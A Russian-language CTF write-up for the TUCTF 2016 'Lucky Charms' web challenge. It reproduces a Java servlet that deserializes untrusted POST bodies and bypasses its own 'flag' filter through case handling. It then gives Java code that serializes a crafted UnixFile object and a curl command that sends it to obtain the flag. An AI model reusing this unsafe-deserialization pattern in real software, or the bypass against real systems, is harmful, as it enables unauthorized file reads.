Лаборатория TUCTF 2016 - Lucky Charms [150]

yalegko
, 19 мая 2016

Nothing like cereal and coffee to start your day!
http://146.148.10.175:1033/LuckyCharms

Agenda

Перед нами открывается простенькая статическая HTML страничка. Что делать? Смотрим исходный код!

<html>
<body>
Frosted Lucky Charms,
<br>
They're magically delicious!
<br>
<img src="https://upload.wikimedia.org/wikipedia/en/f/ff/Lucky-Charms-Cereal-Box-Small.jpg">
<!-- <a href="/?look=LuckyCharms.java"></a>; -->
</body>
</html>

Подсказка!

Wow! Such sources! Very good!

Переходим на http://146.148.10.175:1033/LuckyCharms?look=LuckyCharms.java и видим заинклуженный файлик с кодом на Java:

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.nio.file.Path;
import java.nio.file.Paths;

abstract class OSFile implements Serializable {
  String file = "";
  abstract String getFileName();
}

class WindowsFile extends OSFile  {
  public String getFileName() {
    //Windows filenames are case-insensitive
    return file.toLowerCase();
  }
}

class UnixFile extends OSFile {
  public String getFileName() {
    //Unix filenames are case-sensitive, don't change
    return file;
  }
}

public class LuckyCharms extends HttpServlet {

  public void init() throws ServletException {}

  public void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
    doPost(request, response);
  }

  public void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {

    response.setContentType("text/html");
    PrintWriter out = response.getWriter();

    OSFile osfile = null;
    try {
      osfile = (OSFile) new ObjectInputStream(request.getInputStream()).readObject();
    } catch (Exception e) {
      //Oops, let me help you out there
      osfile = new WindowsFile();
      if (request.getParameter("look") == null) {
        osfile.file = "charms.html";
      } else {
        osfile.file = request.getParameter("look");
      }
    }

    String f = osfile.getFileName().replace("/","").replace("\\","");
    if (f.contains("flag")) {
      //bad hacker!
      out.println("You'll Never Get Me Lucky Charms!");
      return;
    }

    try {
      Path path = Paths.get(getServletContext().getRealPath(f.toLowerCase()));  
      String content = new String(java.nio.file.Files.readAllBytes(path));
      out.println(content);
     } catch (Exception e) {
        out.println("Nothing to see here");
     }
  }

  public void destroy() {}
}
   

Это простенький веб-хендлер, подключающий нам файл, переданный в параметре look.

Первое, что бросается в глаза - запрет на подключение файла с именем flag:

String f = osfile.getFileName().replace("/","").replace("\\",""); 

 if (f.contains("flag")) { 
 	//bad hacker!
 	out.println("You'll Never Get Me Lucky Charms!");
 	return;
 }
 
  

Причём первой же строкой нас лишают надежды на Path traversal attack. Значит нам всё-таки нужен именно файл flag в текущей директории.

Метод .contains('some_string") является регистрозависимым, так что логично попробовать передать имя файла в другом регистре, чтобы обойти проверку.

Однако добиться этого, передавая имя файла через параметр look, можно и не надеяться - по умолчанию нам создают файл класса WindowsFile, имя в котором перед проверкой приводится к нижнему регистру:

class WindowsFile extends OSFile  {
  public String getFileName() {
    //Windows filenames are case-insensitive
    return file.toLowerCase();
  }
}

Что же делать и зачем нам нужен второй потомок класса OSFile?

The main flow

Самое время обратить внимание на то, что мы находимся в неосновной ветке кода, а в обработчике исключения:

try {
      osfile = (OSFile) new ObjectInputStream(request.getInputStream()).readObject();
    } catch (Exception e) {
      //Oops, let me help you out there
      osfile = new WindowsFile(); 
 ...

То есть в первую очередь код пытается десериализовать объект класса OSFile, переданный ему в теле POST-запроса.

Опа! А у нас очень кстати есть класс с регистрозависимым именем файла:

class UnixFile extends OSFile {
  public String getFileName() {
    //Unix filenames are case-sensitive, don't change
    return file;
  }
}

Таким образом мы проходим проверку:

// osfile.name == "FLAG"
String f = osfile.getFileName().replace("/","").replace("\\","");
// Again f == "FLAG" cos of no .lowercase() for UnixFile
if (f.contains("flag")) {
  // Passed!

После чего наше имя приводится к нижнему регистру и мы получаем требуемый файл:

Path path = Paths.get(getServletContext().getRealPath(f.toLowerCase()));  
String content = new String(java.nio.file.Files.readAllBytes(path));
out.println(content);

Exploitation

Осталась самая сложная часть - скомпилить джаву :)

Нам нужно создать объект класс UnixFile задать ему имя FLAG и сериализовать полученный объект.

Пишем код:

import java.io.*;
import java.nio.file.Path;
import java.nio.file.Paths;

abstract class OSFile implements Serializable {
    String file = "";
    abstract String getFileName();
}
class UnixFile extends OSFile {
    public String getFileName() {
        return file;
    }
}

public class SkaMain {
	public static void main(String args[]) throws IOException {
	  FileOutputStream fos = new FileOutputStream("temp.out");
	  ObjectOutputStream oos = new ObjectOutputStream(fos);
	  UnixFile f = new UnixFile();
	  f.file = "FLAG";
	  oos.writeObject(f);
	  oos.flush();
	  oos.close();
	}	
}

Компилим, запускаем и отправляем сериализованный объект (который был сохранён в temp.out) в теле POST-запроса:

$ javac SkaMain.java
$ java SkaMain
$ curl -X POST http://146.148.10.175:1033/LuckyCharms --data-binary @temp.out

Вуаля, долгожданный флаг: TUCTF{a_cup_of_joe_keeps_the_hackers_away} !